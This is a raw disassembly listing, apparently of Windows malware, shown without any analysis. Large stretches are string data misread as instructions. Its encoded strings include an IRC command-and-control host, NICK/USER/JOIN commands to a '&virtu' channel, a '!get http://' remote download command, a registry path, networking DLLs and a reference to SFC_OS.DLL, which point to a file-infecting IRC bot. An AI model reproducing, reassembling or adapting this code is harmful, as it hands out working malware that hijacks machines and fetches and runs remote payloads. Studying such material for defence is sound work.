		db  74h	; t
		db  65h	; e
		db  50h	; P
		db  72h	; r
		db  6Fh	; o
		db  63h	; c
		db  65h	; e
		db  73h	; s
		db  73h	; s
		db  41h	; A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A5AF


loc_42A639:				; CODE XREF: sub_42A5AF+1Fj
					; sub_42A5AF+21j
		add	[ebx+72h], al
		db	65h
		popa
		jz	short near ptr loc_42A6A3+2


loc_42A640:				; CODE XREF: sub_42A5AF+2Aj
		push	edx
		db	65h
		insd
		outsd
		jz	short loc_42A6AB
		push	esp
		push	64616572h
		add	[ebx+72h], al
		db	65h
		popa
		jz	short near ptr loc_42A6B6+2
		push	esp
		push	64616572h
		add	[ebx+72h], al
		db	65h
		popa
		jz	short near ptr loc_42A6C2+3
		push	esp
		outsd
		outsd
		insb
		push	33706C65h
		xor	dl, [ebx+6Eh]
		popa
		jo	short near ptr loc_42A6E1+1
		push	4500746Fh
		js	short loc_42A6DF
		jz	short near ptr loc_42A6CB+1
		push	64616572h
		add	[esi+69h], al
		insb
		db	65h
		push	esp
		imul	ebp, [ebp+65h],	79536F54h
		jnb	short loc_42A700
		db	65h
		insd
		push	esp
		imul	ebp, [ebp+65h],	65724600h
		db	65h
		dec	esp
		imul	esp, [edx+72h],	797261h
		inc	edi
		db	65h
		jz	short near ptr loc_42A6E3+6


loc_42A6A3:				; CODE XREF: sub_42A5AF+8Fj
		imul	ebp, [ebp+41h],	69727474h


loc_42A6AB:				; CODE XREF: sub_42A5AF+95j
		bound	esi, [ebp+74h]
		db	65h
		jnb	short loc_42A6F2
		add	[edi+65h], al
		jz	short near ptr loc_42A6FB+1


loc_42A6B6:				; CODE XREF: sub_42A5AF+A2j
		imul	ebp, [ebp+53h],	657A69h
		inc	edi
		db	65h
		jz	short loc_42A708


loc_42A6C2:				; CODE XREF: sub_42A5AF+AFj
		imul	ebp, [ebp+54h],	656D69h
		inc	edi


loc_42A6CB:				; CODE XREF: sub_42A5AF+C7j
		db	65h
		jz	short near ptr loc_42A71A+1
		outsd
		db	64h
		jnz	short near ptr loc_42A739+5
		db	65h
		dec	eax
		popa
		outsb
		db	64h
		insb
		db	65h
		inc	ecx
		add	[edi+65h], al
		jz	short near ptr loc_42A72D+6


loc_42A6DF:				; CODE XREF: sub_42A5AF+C5j
		db	65h
		insd


loc_42A6E1:				; CODE XREF: sub_42A5AF+BEj
		jo	short near ptr loc_42A727+2


loc_42A6E3:				; CODE XREF: sub_42A5AF+F1j
		imul	ebp, [ebp+4Eh],	41656D61h
		add	[edi+65h], al
		jz	short near ptr loc_42A741+3
		db	65h
		insd


loc_42A6F2:				; CODE XREF: sub_42A5AF+FFj
		jo	short near ptr loc_42A741+3
		popa
		jz	short near ptr loc_42A75E+1
		inc	ecx
		add	[edi+65h], al


loc_42A6FB:				; CODE XREF: sub_42A5AF+105j
		jz	short loc_42A753
		db	65h
		jb	short near ptr loc_42A772+1


loc_42A700:				; CODE XREF: sub_42A5AF+DBj
		imul	ebp, [edi+6Eh],	74654700h
		push	esi


loc_42A708:				; CODE XREF: sub_42A5AF+110j
		db	65h
		jb	short near ptr loc_42A77C+2
		imul	ebp, [edi+6Eh],	417845h
		inc	edi
		db	65h
		jz	short near ptr loc_42A76B+1
		outsd
		insb
		jnz	short near ptr loc_42A781+6


loc_42A71A:				; CODE XREF: sub_42A5AF:loc_42A6CBj
		db	65h
		dec	ecx
		outsb
		outsw
		jb	short near ptr loc_42A78C+2
		popa
		jz	short near ptr loc_42A78C+1
		outsd
		outsb
		inc	ecx


loc_42A727:				; CODE XREF: sub_42A5AF:loc_42A6E1j
		add	[edi+ebp*2+61h], cl
		db	64h
		dec	esp


loc_42A72D:				; CODE XREF: sub_42A5AF+12Ej
		imul	esp, [edx+72h],	41797261h
		add	[ebp+61h], cl
		jo	short loc_42A78F


loc_42A739:				; CODE XREF: sub_42A5AF+120j
		imul	esp, [ebp+77h],	6946664Fh
		insb


loc_42A741:				; CODE XREF: sub_42A5AF+13Fj
					; sub_42A5AF:loc_42A6F2j
		add	gs:[edi+70h], cl
		outs	dx, byte ptr gs:[esi]
		inc	esi
		imul	ebp, [ebp+4Dh],	69707061h
		outsb
		db	67h
		inc	ecx


loc_42A753:				; CODE XREF: sub_42A5AF:loc_42A6FBj
		add	[edi+70h], cl
		outs	dx, byte ptr gs:[esi]
		push	eax
		jb	short near ptr loc_42A7C9+1
		arpl	[ebp+73h], sp


loc_42A75E:				; CODE XREF: sub_42A5AF+146j
		jnb	short $+2
		push	eax
		jb	short loc_42A7D2
		arpl	[ebp+73h], sp
		jnb	short near ptr loc_42A794+7
		xor	al, [esi+69h]


loc_42A76B:				; CODE XREF: sub_42A5AF+164j
		jb	short near ptr loc_42A7DA+6
		jz	short $+2
		push	eax
		jb	short near ptr loc_42A7DA+7


loc_42A772:				; CODE XREF: sub_42A5AF+14Ej
		arpl	[ebp+73h], sp
		jnb	short near ptr loc_42A7A9+1
		xor	cl, [esi+65h]
		js	short near ptr loc_42A7EC+4


loc_42A77C:				; CODE XREF: sub_42A5AF:loc_42A708j
		add	[ebx+65h], dl
		jz	short near ptr loc_42A7C5+2


loc_42A781:				; CODE XREF: sub_42A5AF+169j
		imul	ebp, [ebp+41h],	69727474h
		bound	esi, [ebp+74h]


loc_42A78C:				; CODE XREF: sub_42A5AF+173j
					; sub_42A5AF+170j
		db	65h
		jnb	short loc_42A7D0


loc_42A78F:				; CODE XREF: sub_42A5AF+188j
		add	[ebx+65h], dl
		jz	short loc_42A7DA


loc_42A794:				; CODE XREF: sub_42A5AF+1B7j
		imul	ebp, [ebp+54h],	656D69h
		push	ebx
		insb
		db	65h, 65h
		jo	short $+4
		push	ebx
		jns	short loc_42A818
		jz	short loc_42A80C
		insd
		push	esp


loc_42A7A9:				; CODE XREF: sub_42A5AF+1C6j
		imul	ebp, [ebp+65h],	69466F54h
		insb
		db	65h
		push	esp
		imul	ebp, [ebp+65h],	6D6E5500h
		popa
		jo	short loc_42A813
		imul	esp, [ebp+77h],	6946664Fh
		insb


loc_42A7C5:				; CODE XREF: sub_42A5AF+1D0j
		add	gs:[esi+69h], dl


loc_42A7C9:				; CODE XREF: sub_42A5AF+1AAj
		jb	short near ptr loc_42A83E+1
		jnz	short loc_42A82E
		insb
		inc	ecx
		insb


loc_42A7D0:				; CODE XREF: sub_42A5AF:loc_42A78Cj
		insb
		outsd


loc_42A7D2:				; CODE XREF: sub_42A5AF+1B2j
		arpl	[eax], ax
		push	edi
		jb	short loc_42A840
		jz	short loc_42A83E
		inc	esi


loc_42A7DA:				; CODE XREF: sub_42A5AF+1E3j
					; sub_42A5AF:loc_42A76Bj ...
		imul	ebp, [ebp+0], 6441744Eh
		push	75h
		jnb	short loc_42A85A
		push	eax
		jb	short near ptr loc_42A84F+3
		jbe	short near ptr loc_42A84F+5
		insb


loc_42A7EC:				; CODE XREF: sub_42A5AF+1CBj
		db	65h, 67h, 65h
		jnb	near ptr 0A845h
		outsd
		imul	esp, [ebp+6Eh],	0
		dec	esi
		jz	short near ptr loc_42A83B+1
		jb	short near ptr loc_42A85F+1
		popa
		jz	short loc_42A863
		inc	esi
		imul	ebp, [ebp+0], 7243744Eh
		db	65h
		popa
		jz	short loc_42A870
		push	eax


loc_42A80C:				; CODE XREF: sub_42A5AF+1F6j
		jb	short loc_42A87D
		arpl	[ebp+73h], sp
		jnb	short $+2


loc_42A813:				; CODE XREF: sub_42A5AF+20Cj
		dec	esi
		jz	short near ptr loc_42A856+3
		jb	short loc_42A87D


loc_42A818:				; CODE XREF: sub_42A5AF+1F4j
		popa
		jz	short loc_42A880
		push	eax
		jb	short loc_42A88D
		arpl	[ebp+73h], sp
		jnb	short near ptr loc_42A863+5
		js	short $+2
		dec	esi
		jz	short loc_42A86B
		jb	short loc_42A88F
		popa
		jz	short near ptr loc_42A88F+3
		push	ebx


loc_42A82E:				; CODE XREF: sub_42A5AF+21Cj
		arpl	gs:[ecx+ebp*2+6Fh], si
		outsb
		add	[esi+74h], cl
		inc	ebx
		jb	short near ptr loc_42A89E+1
		popa


loc_42A83B:				; CODE XREF: sub_42A5AF+248j
		jz	short loc_42A8A2
		push	ebp


loc_42A83E:				; CODE XREF: sub_42A5AF+228j
					; sub_42A5AF:loc_42A7C9j
		jnb	short near ptr loc_42A8A4+1


loc_42A840:				; CODE XREF: sub_42A5AF+226j
		jb	short near ptr loc_42A88F+3
		jb	short loc_42A8B3
		arpl	[ebp+73h], sp
		jnb	short $+2
		dec	esi
		jz	short loc_42A899
		popa
		jo	short near ptr loc_42A8A4+1


loc_42A84F:				; CODE XREF: sub_42A5AF+238j
					; sub_42A5AF+23Aj
		imul	esp, [ebp+77h],	6553664Fh


loc_42A856:				; CODE XREF: sub_42A5AF+265j
		arpl	[ecx+ebp*2+6Fh], si


loc_42A85A:				; CODE XREF: sub_42A5AF+235j
		outsb
		add	[esi+74h], cl
		dec	edi


loc_42A85F:				; CODE XREF: sub_42A5AF+24Aj
		jo	short loc_42A8C6
		outsb
		inc	esi


loc_42A863:				; CODE XREF: sub_42A5AF+24Dj
					; sub_42A5AF+272j
		imul	ebp, [ebp+0], 704F744Eh


loc_42A86B:				; CODE XREF: sub_42A5AF+277j
		outs	dx, byte ptr gs:[esi]
		push	eax
		jb	short loc_42A8DF


loc_42A870:				; CODE XREF: sub_42A5AF+25Aj
		arpl	[ebp+73h], sp
		jnb	short loc_42A8C9
		outsd
		imul	esp, [ebp+6Eh],	0
		dec	esi
		jz	short near ptr loc_42A8CB+1


loc_42A87D:				; CODE XREF: sub_42A5AF:loc_42A80Cj
					; sub_42A5AF+267j
		jo	short near ptr loc_42A8E3+1
		outsb


loc_42A880:				; CODE XREF: sub_42A5AF+26Aj
		push	ebx
		arpl	gs:[ecx+ebp*2+6Fh], si
		outsb
		add	[esi+74h], cl
		push	eax
		jb	short near ptr loc_42A8FB+1


loc_42A88D:				; CODE XREF: sub_42A5AF+26Dj
		jz	short near ptr loc_42A8F3+1


loc_42A88F:				; CODE XREF: sub_42A5AF+279j
					; sub_42A5AF+27Cj ...
		arpl	[esi+edx*2+69h], si
		jb	short loc_42A909
		jnz	short near ptr loc_42A8F7+1
		insb
		dec	ebp


loc_42A899:				; CODE XREF: sub_42A5AF+29Bj
		db	65h
		insd
		outsd
		jb	short near ptr loc_42A914+3


loc_42A89E:				; CODE XREF: sub_42A5AF+289j
		add	[esi+74h], cl
		push	ecx


loc_42A8A2:				; CODE XREF: sub_42A5AF:loc_42A83Bj
		jnz	short loc_42A909


loc_42A8A4:				; CODE XREF: sub_42A5AF:loc_42A83Ej
					; sub_42A5AF+29Ej
		jb	short near ptr loc_42A91E+1
		dec	ecx
		outsb
		outsw
		jb	short near ptr loc_42A918+1
		popa
		jz	short loc_42A918
		outsd
		outsb
		push	esp
		outsd


loc_42A8B3:				; CODE XREF: sub_42A5AF+293j
		imul	esp, [ebp+6Eh],	0
		dec	esi
		jz	short near ptr loc_42A90F+2
		jb	short loc_42A925
		jz	short near ptr loc_42A922+1
		push	esi
		imul	esi, [edx+74h],	4D6C6175h


loc_42A8C6:				; CODE XREF: sub_42A5AF:loc_42A85Fj
		db	65h
		insd
		outsd


loc_42A8C9:				; CODE XREF: sub_42A5AF+2C4j
		jb	short loc_42A944


loc_42A8CB:				; CODE XREF: sub_42A5AF+2CCj
		add	[edx+74h], dl
		insb
		push	ebp
		outsb
		imul	esp, [ebx+6Fh],	74536564h
		jb	short near ptr loc_42A941+2
		outsb
		db	67h
		push	esp
		outsd
		inc	ecx


loc_42A8DF:				; CODE XREF: sub_42A5AF+2BFj
		outsb
		jnb	short near ptr loc_42A94A+1
		push	ebx


loc_42A8E3:				; CODE XREF: sub_42A5AF:loc_42A87Dj
		jz	short loc_42A957
		imul	ebp, [esi+67h],	41535700h
		push	ebx
		jz	short loc_42A950
		jb	short loc_42A965
		jnz	short near ptr loc_42A962+1


loc_42A8F3:				; CODE XREF: sub_42A5AF:loc_42A88Dj
		add	[ebx+6Ch], ah
		outsd


loc_42A8F7:				; CODE XREF: sub_42A5AF+2E6j
		jnb	short loc_42A95E
		jnb	short near ptr loc_42A969+1


loc_42A8FB:				; CODE XREF: sub_42A5AF+2DCj
		arpl	[ebx+65h], bp
		jz	short $+2
		arpl	[edi+6Eh], bp
		outsb
		arpl	gs:[eax+eax+67h], si


loc_42A909:				; CODE XREF: sub_42A5AF+2E4j
					; sub_42A5AF:loc_42A8A2j
		db	65h
		jz	short near ptr loc_42A973+1
		outsd
		jnb	short near ptr loc_42A981+2


loc_42A90F:				; CODE XREF: sub_42A5AF+309j
		bound	edi, [ecx+6Eh]
		popa
		insd


loc_42A914:				; CODE XREF: sub_42A5AF+2EDj
		add	gs:[edx+65h], dh


loc_42A918:				; CODE XREF: sub_42A5AF+2FEj
					; sub_42A5AF+2FBj
		arpl	[esi+0], si
		jnb	short near ptr loc_42A981+1
		outsb


loc_42A91E:				; CODE XREF: sub_42A5AF:loc_42A8A4j
		add	fs:[ebx+6Fh], dh


loc_42A922:				; CODE XREF: sub_42A5AF+30Dj
		arpl	[ebx+65h], bp


loc_42A925:				; CODE XREF: sub_42A5AF+30Bj
		jz	short $+2
		dec	ecx
		outsb
		jz	short loc_42A990
		jb	short loc_42A99B
		db	65h
		jz	short loc_42A973
		insb
		outsd
		jnb	short near ptr loc_42A998+1
		dec	eax
		popa
		outsb
		db	64h
		insb
		add	gs:[ecx+6Eh], cl
		jz	short loc_42A9A4
		jb	short near ptr loc_42A9AE+1


loc_42A941:				; CODE XREF: sub_42A5AF+329j
		db	65h
		jz	short loc_42A98B


loc_42A944:				; CODE XREF: sub_42A5AF:loc_42A8C9j
		db	65h
		jz	short loc_42A98A
		outsd
		outsb
		outsb


loc_42A94A:				; CODE XREF: sub_42A5AF+331j
		arpl	gs:[ebp+64h], si
		push	ebx


loc_42A950:				; CODE XREF: sub_42A5AF+33Ej
		jz	short near ptr loc_42A9B2+1
		jz	short loc_42A9B9
		add	[ecx+6Eh], cl


loc_42A957:				; CODE XREF: sub_42A5AF:loc_42A8E3j
		jz	short near ptr loc_42A9BC+2
		jb	short loc_42A9C9
		db	65h
		jz	short near ptr loc_42A9AB+2


loc_42A95E:				; CODE XREF: sub_42A5AF:loc_42A8F7j
		jo	short loc_42A9C5
		outsb
		inc	ecx


loc_42A962:				; CODE XREF: sub_42A5AF+342j
		add	[ecx+6Eh], cl


loc_42A965:				; CODE XREF: sub_42A5AF+340j
		jz	short near ptr loc_42A9CB+1
		jb	short loc_42A9D7


loc_42A969:				; CODE XREF: sub_42A5AF+34Aj
		db	65h
		jz	short near ptr loc_42A9BA+1
		jo	short loc_42A9D3
		outsb
		push	ebp
		jb	short near ptr loc_42A9DC+2
		inc	ecx


loc_42A973:				; CODE XREF: sub_42A5AF+37Ej
					; sub_42A5AF:loc_42A909j
		add	[ecx+6Eh], cl
		jz	short near ptr loc_42A9DC+1
		jb	short loc_42A9E8
		db	65h
		jz	short near ptr loc_42A9CE+1
		db	65h
		popa
		db	64h
		inc	esi


loc_42A981:				; CODE XREF: sub_42A5AF+36Cj
					; sub_42A5AF+35Ej
		imul	ebp, [ebp+0], 41564441h
		push	eax


loc_42A98A:				; CODE XREF: sub_42A5AF:loc_42A944j
		dec	ecx


loc_42A98B:				; CODE XREF: sub_42A5AF:loc_42A941j
		xor	esi, [edx]
		db	2Eh
		inc	esp
		dec	esp


loc_42A990:				; CODE XREF: sub_42A5AF+37Aj
		dec	esp
		add	[edx+65h], dl
		db	67h
		inc	ebx
		insb
		outsd


loc_42A998:				; CODE XREF: sub_42A5AF+383j
		jnb	short near ptr loc_42A9FD+2
		dec	ebx


loc_42A99B:				; CODE XREF: sub_42A5AF+37Cj
		db	65h
		jns	short $+3
		push	edx
		db	65h, 67h
		dec	edi
		jo	short loc_42AA09


loc_42A9A4:				; CODE XREF: sub_42A5AF+38Ej
		outsb
		dec	ebx
		db	65h
		jns	short near ptr loc_42A9EC+2
		js	short loc_42A9EC


loc_42A9AB:				; CODE XREF: sub_42A5AF+3ACj
		add	[edx+65h], dl


loc_42A9AE:				; CODE XREF: sub_42A5AF+390j
		db	67h
		push	ecx
		jnz	short loc_42AA17


loc_42A9B2:				; CODE XREF: sub_42A5AF:loc_42A950j
		jb	short near ptr loc_42AA2C+1
		push	esi
		popa
		insb
		jnz	short near ptr loc_42AA1D+1


loc_42A9B9:				; CODE XREF: sub_42A5AF+3A3j
		inc	ebp


loc_42A9BA:				; CODE XREF: sub_42A5AF:loc_42A969j
		js	short loc_42A9FD


loc_42A9BC:				; CODE XREF: sub_42A5AF:loc_42A957j
		add	[edx+65h], dl
		db	67h
		push	ebx
		db	65h
		jz	short loc_42AA1A
		popa


loc_42A9C5:				; CODE XREF: sub_42A5AF:loc_42A95Ej
		insb
		jnz	short near ptr loc_42AA2C+1
		inc	ebp


loc_42A9C9:				; CODE XREF: sub_42A5AF+3AAj
		js	short loc_42AA0C


loc_42A9CB:				; CODE XREF: sub_42A5AF:loc_42A965j
		add	[esi+33h], dl


loc_42A9CE:				; CODE XREF: sub_42A5AF+3CBj
		imul	byte ptr [edx+2]
		push	esi
		push	esi


loc_42A9D3:				; CODE XREF: sub_42A5AF+3BDj
		mov	edx, esp
		push	1


loc_42A9D7:				; CODE XREF: sub_42A5AF+3B8j
		push	edx
		push	dword ptr [edx+18h]
		push	esi


loc_42A9DC:				; CODE XREF: sub_42A5AF+3C7j
					; sub_42A5AF+3C1j
		call	dword ptr [ebp+10428Ch]
		mov	eax, esp
		push	esi
		push	esi
		push	esi
		push	eax


loc_42A9E8:				; CODE XREF: sub_42A5AF+3C9j
		push	esi
		push	dword ptr [eax+18h]


loc_42A9EC:				; CODE XREF: sub_42A5AF+3FAj
					; sub_42A5AF+3F7j
		call	dword ptr [ebp+103EFAh]
		add	esp, 10h
		pop	esi
		retn	8
; END OF FUNCTION CHUNK	FOR sub_42A5AF
; ---------------------------------------------------------------------------
		db  8Dh	; 
		db  49h	; I
		db 0FBh	; û
		db  2Bh	; +
; ---------------------------------------------------------------------------


loc_42A9FD:				; CODE XREF: sub_42A5AF:loc_42A9BAj
					; sub_42A5AF:loc_42A998j
		enter	6851h, 0
; ---------------------------------------------------------------------------
		db    0
		db    0
		db 0E8h	; è
		db  8Dh	; 
		db  4Ch	; L
		db  24h	; $
		db    3
		db  6Ah	; j
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A5AF


loc_42AA09:				; CODE XREF: sub_42A5AF+3F3j
		add	[edx+5], ch


loc_42AA0C:				; CODE XREF: sub_42A5AF:loc_42A9C9j
		push	ecx
		push	eax
		push	ebx
		push	5
		mov	ecx, esp
		push	eax
		mov	edx, esp
		push	eax


loc_42AA17:				; CODE XREF: sub_42A5AF+401j
		push	esp
		push	40h


loc_42AA1A:				; CODE XREF: sub_42A5AF+412j
		push	ecx
		push	edx
		push	ebx


loc_42AA1D:				; CODE XREF: sub_42A5AF+408j
		call	dword ptr [ebp+103F22h]
		add	esp, 0Ch
		call	dword ptr [ebp+103F2Ah]


loc_42AA2C:				; CODE XREF: sub_42A5AF:loc_42A9B2j
					; sub_42A5AF+417j
		add	esp, 8
		retn
; END OF FUNCTION CHUNK	FOR sub_42A5AF
; ---------------------------------------------------------------------------
		db  8Dh	; 
		db  95h	; •
		db  30h	; 0
		db  3Eh	; >
		db  10h
		db    0
		db  33h	; 3
		db 0C9h	; É
		db  6Ah	; j
		db    0
		db  52h	; R
		db  68h	; h
		db  30h	; 0
		db    0
		db  32h	; 2
		db    0
		db  8Bh	; ‹
		db 0C4h	; Ä
		db  51h	; Q
		db  51h	; Q
		db  6Ah	; j
		db  40h	; @
		db  50h	; P
		db  51h	; Q
		db  6Ah	; j
		db  18h
		db  83h	; ƒ
		db 0C0h	; À
		db    8
		db  54h	; T
		db  6Ah	; j
		db  0Eh
		db  50h	; P
		db 0FFh
		db  95h	; •
		db  1Eh
		db  3Fh	; ?
		db  10h
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  20h
		db  33h	; 3
		db 0D2h	; Ò
		db  85h	; …
		db 0C0h	; À
		db  0Fh
		db  99h	; ™
		db 0C2h	; Â
		db 0F7h	; ÷
		db 0DAh	; Ú
		db  58h	; X
		db  23h	; #
		db 0C2h	; Â
		db 0C3h	; Ã
		db  57h	; W
		db  33h	; 3
		db 0FFh
		db 0E8h	; è
		db 0C1h	; Á
		db 0FFh
		db 0FFh
		db 0FFh
		db  0Fh
		db  84h	; „
		db 0A5h	; ¥
		db    0
		db    0
		db    0
		db  50h	; P
		db  68h	; h
		db  28h	; (
		db  73h	; s
		db    0
		db    0
		db  8Bh	; ‹
		db 0D4h	; Ô
		db  6Ah	; j
		db    0
		db  8Bh	; ‹
		db 0CCh	; Ì
		db  6Ah	; j
		db  40h	; @
		db  68h	; h
		db    0
		db    0
		db  10h
		db    0
		db  6Ah	; j
		db    2
		db  52h	; R
		db  6Ah	; j
		db    0
		db  68h	; h
		db  28h	; (
		db  73h	; s
		db    0
		db    0
		db  6Ah	; j
		db    0
		db  51h	; Q
		db  53h	; S
		db  50h	; P
		db 0FFh
		db  95h	; •
		db  12h
		db  3Fh	; ?
		db  10h
		db    0
		db  5Fh	; _
		db  59h	; Y
		db 0FFh
		db  95h	; •
		db  62h	; b
		db  3Eh	; >
		db  10h
		db    0
		db  85h	; …
		db 0FFh
		db  74h	; t
		db  71h	; q
		db  8Bh	; ‹
		db  8Dh	; 
		db  90h	; 
		db  15h
		db  10h
		db    0
		db 0E3h	; ã
		db  0Ch
		db  8Dh	; 
		db  95h	; •
		db    0
		db  10h
		db  10h
		db    0
		db    3
		db 0D1h	; Ñ
		db  57h	; W
		db  53h	; S
		db 0FFh
		db 0D2h	; Ò
		db  8Bh	; ‹
		db  85h	; …
		db 0FEh	; þ
		db  3Eh	; >
		db  10h
		db    0
		db  8Dh	; 
		db  8Fh	; 
		db  16h
		db  29h	; )
		db    0
		db    0
		db 0E8h	; è
		db  2Bh	; +
		db 0FFh
		db 0FFh
		db 0FFh
		db  8Bh	; ‹
		db  85h	; …
		db  16h
		db  3Fh	; ?
		db  10h
		db    0
		db  8Dh	; 
		db  8Fh	; 
		db  63h	; c
		db  29h	; )
		db    0
		db    0
		db 0E8h	; è
		db  1Ah
		db 0FFh
		db 0FFh
		db 0FFh
		db  8Bh	; ‹
		db  85h	; …
		db    2
		db  3Fh	; ?
		db  10h
		db    0
		db  8Dh	; 
		db  8Fh	; 
		db  6Ah	; j
		db  29h	; )
		db    0
		db    0
		db 0E8h	; è
		db    9
		db 0FFh
		db 0FFh
		db 0FFh
		db  8Bh	; ‹
		db  85h	; …
		db    6
		db  3Fh	; ?
		db  10h
		db    0
		db  85h	; …
		db 0C0h	; À
		db  74h	; t
		db  20h
		db  8Dh	; 
		db  8Fh	; 
		db  77h	; w
		db  29h	; )
		db    0
		db    0
		db 0E8h	; è
		db 0F4h	; ô
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  8Bh	; ‹
		db  85h	; …
		db  0Eh
		db  3Fh	; ?
		db  10h
		db    0
		db  85h	; …
		db 0C0h	; À
		db  74h	; t
		db  0Bh
		db  8Dh	; 
		db  8Fh	; 
		db  84h	; „
		db  29h	; )
		db    0
		db    0
		db 0E8h	; è
		db 0DFh	; ß
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  8Bh	; ‹
		db 0C7h	; Ç
		db  5Fh	; _
		db 0C3h	; Ã
		db  55h	; U
		db 0E8h	; è
		db    0
		db    0
		db    0
		db    0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 101B24h
		xor	ecx, ecx
		lea	eax, [ebp+101EAFh]
		push	ecx
		push	esp
		push	ecx
		push	ecx
		push	eax
		push	ecx
		push	ecx
		call	dword ptr [ebp+103E8Eh]
		xchg	eax, [esp]
		call	dword ptr [ebp+103E62h]
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		db 55h,	0E8h, 0
		dd 5D000000h, 1B53ED81h, 0FF6A0010h, 1B1E958Dh,	52500010h
		dd 2420CDh, 0C483002Ah,	85C7660Ch, 101B64h, 85C720CDh
		dd 101B66h, 2A0024h, 1A6AC35Dh,	9E858h,	428D0000h, 0C9FEAA61h
		dd 69C3F075h, 103F7C95h, 8840500h, 95894208h, 103F7Ch
		dd 55C3E2F7h, 0E8h, 0ED815D00h,	101BADh, 3F809D8Bh, 7C830010h
		dd 0F000824h, 0B984h, 8EC8100h,	54000002h, 10468h, 0B695FF00h
		dd 8B00103Eh, 24848DFCh, 104h, 0E8006A50h, 4, 525256h
		dd 0B295FF57h, 3300103Eh, 4978DC9h, 51000001h, 51026A51h
		dd 68016Ah, 52400000h, 3E7E95FFh, 85960010h, 505B74F6h
		dd 1046854h, 0FF570000h, 22024B4h, 95FF0000h, 103F5Eh
		dd 74C08559h, 5014E316h, 6AD48Bh, 56575152h, 3EF695FFh
		dd 85590010h, 56D075C0h, 3E6295FFh, 578D0010h, 6A575244h
		dd 978D5844h, 104h, 6AC033ABh, 0ABF35910h, 50505050h, 52505050h
		dd 3E8695FFh, 0C4810010h, 208h,	82474FFh, 3F4E95FFh, 0FF530010h
		dd 103F4E95h, 4C25D00h,	0A3E8000h, 8B460175h, 10158C8Dh
		dd 8D19E300h, 10100095h, 56D10300h, 0C084D2FFh,	11F880Fh
		dd 840F0000h, 110h, 753A3E80h, 3E804610h, 1840F00h, 80000001h
		dd 0F175203Eh, 503E8146h, 75474E49h, 0C6CF8B42h, 2B4F0146h
		dd 6A51CEh, 0FF535651h,	103F4695h, 0C13B5900h, 0DF850Fh
		dd 858D0000h, 101EA3h, 0C68006Ah, 50000000h, 4695FF53h
		dd 3D00103Fh, 0Ch, 0BF850Fh, 0B1E90000h, 81000000h, 4952503Eh
		dd 0A5850F56h, 83000000h, 3CAC08C6h, 99840F0Dh,	3C000000h
		dd 0ACF37520h, 850F3A3Ch, 8Ch, 20200DADh, 213D2020h, 75746567h
		dd 203CAC7Fh, 7E817C75h, 746820FFh, 81717574h, 3A70037Eh
		dd 68752F2Fh, 0FF47C6h,	10BA310Fh, 0F7000027h, 95FF52E2h
		dd 103EE6h, 5050C033h, 9E85050h, 44000000h, 6C6E776Fh
		dd 64616Fh, 3F5695FFh, 0C0850010h, 0C9333674h, 3F808589h
		dd 68510010h, 80000200h, 50565151h, 3F5A95FFh, 958D0010h
		dd 101BA7h, 54C93350h, 51525051h, 8E95FF51h, 8700103Eh
		dd 95FF2404h, 103E62h, 8D80C3F8h, 10157Fh, 6AC3F901h, 0FF016A01h
		dd 473FF33h, 0C08515FFh, 0DB335A74h, 0BB3D08Bh,	8D3C5003h
		dd 101DCBB5h, 0CBA8B00h, 8B000001h, 1088Ah, 2BF80300h
		dd 0CB8B60CBh, 7461A6F3h, 0F5E24705h, 0C7832EEBh, 0CC8B530Fh
		dd 50D48B57h, 51406A54h, 0FFFF6A52h, 103F2295h,	968D8B00h
		dd 8300103Eh, 0CF2B0CC4h, 0C707E983h, 0E8006A07h, 34F8900h
		dd 464F53C3h, 52415754h, 694D5C45h, 736F7263h, 5C74666Fh
		dd 646E6957h, 5C73776Fh, 72727543h, 56746E65h, 69737265h
		dd 455C6E6Fh, 6F6C7078h, 726572h, 67726154h, 6F487465h
		dd 2007473h, 55500000h,	70D08F72h, 69786F72h, 72692E6Dh
		dd 6C616763h, 2E797861h, 4E006C70h, 204B4349h, 73736D62h
		dd 74706F70h, 4553550Ah, 4A712052h, 204E494Fh, 72697626h
		dd 550A7574h, 0E8h, 0ED815D00h,	101EB5h, 157F85C6h, 0FF000010h
		dd 103EBA95h, 1FE8C100h, 1E6A3C74h, 3E72B58Bh, 0AC590010h
		dd 2A752E3Ch, 0FF3E8166h, 8D23751Dh, 103F76BDh,	2768B00h
		dd 0A566A557h, 38EC858Dh, 858F0010h, 103912h, 0FA4689FAh
		dd 0FBFE4E8Ch, 0CFE201B1h, 21E850EBh, 83FFFFFBh, 408247Ch
		dd 8E84475h, 53000000h,	442E4346h, 0FF004C4Ch, 103EC695h
		dd 74C00B00h, 26A930Dh,	6E95FF53h, 0FF00103Eh, 97E893D0h
		dd 0E8FFFFFEh, 0Bh, 5F434653h, 442E534Fh, 0FF004C4Ch, 103EC695h
		dd 0FE7CE800h, 0E8FFFFh, 0FFFFFFF6h, 1012D48Dh,	8DC93300h
		dd 10432485h, 51515100h, 51515051h, 0C295FF51h,	0E800103Eh
		dd 0Bh,	52455355h, 442E3233h, 0FF004C4Ch, 103EC695h, 0AE800h
		dd 73770000h, 6E697270h, 416674h, 6E95FF50h, 8900103Eh
		dd 103E7685h, 8D310F00h, 1019858Dh, 7C858900h, 5100103Fh
		dd 3EC695FFh, 68930010h, 4, 1992B58Dh, 8D590010h, 103F62BDh
		dd 0F5C2E800h, 0C766FFFFh, 101E7585h, 83500000h, 101E77A5h
		dd 958D0000h, 101E35h, 16A5450h, 6852006Ah, 80000002h
		dd 3F6695FFh, 0C0850010h, 8D22755Ah, 101E688Dh,	66A5200h
		dd 1E75B58Dh, 56540010h, 52515050h, 3F6A95FFh, 0FF580010h
		dd 103F6295h, 8385C600h, 1041h,	0CE8h, 4F535700h, 32334B43h
		dd 4C4C442Eh, 0C695FF00h, 9300103Eh, 768h, 0E9B58D00h
		dd 59001018h, 3F32BD8Dh, 3DE80010h, 0E8FFFFF5h,	0Ch, 494E4957h
		dd 2E54454Eh, 4C4C44h, 3EC695FFh, 0C0850010h, 235840Fh
		dd 68930000h, 5, 1927B58Dh, 8D590010h, 103F4EBDh, 0F506E800h
		dd 0BD83FFFFh, 103F52h,	10840F00h, 81000002h, 190ECh, 1685400h
		dd 0FF000001h, 103F3295h, 90C48100h, 50000001h,	6AD48Bh
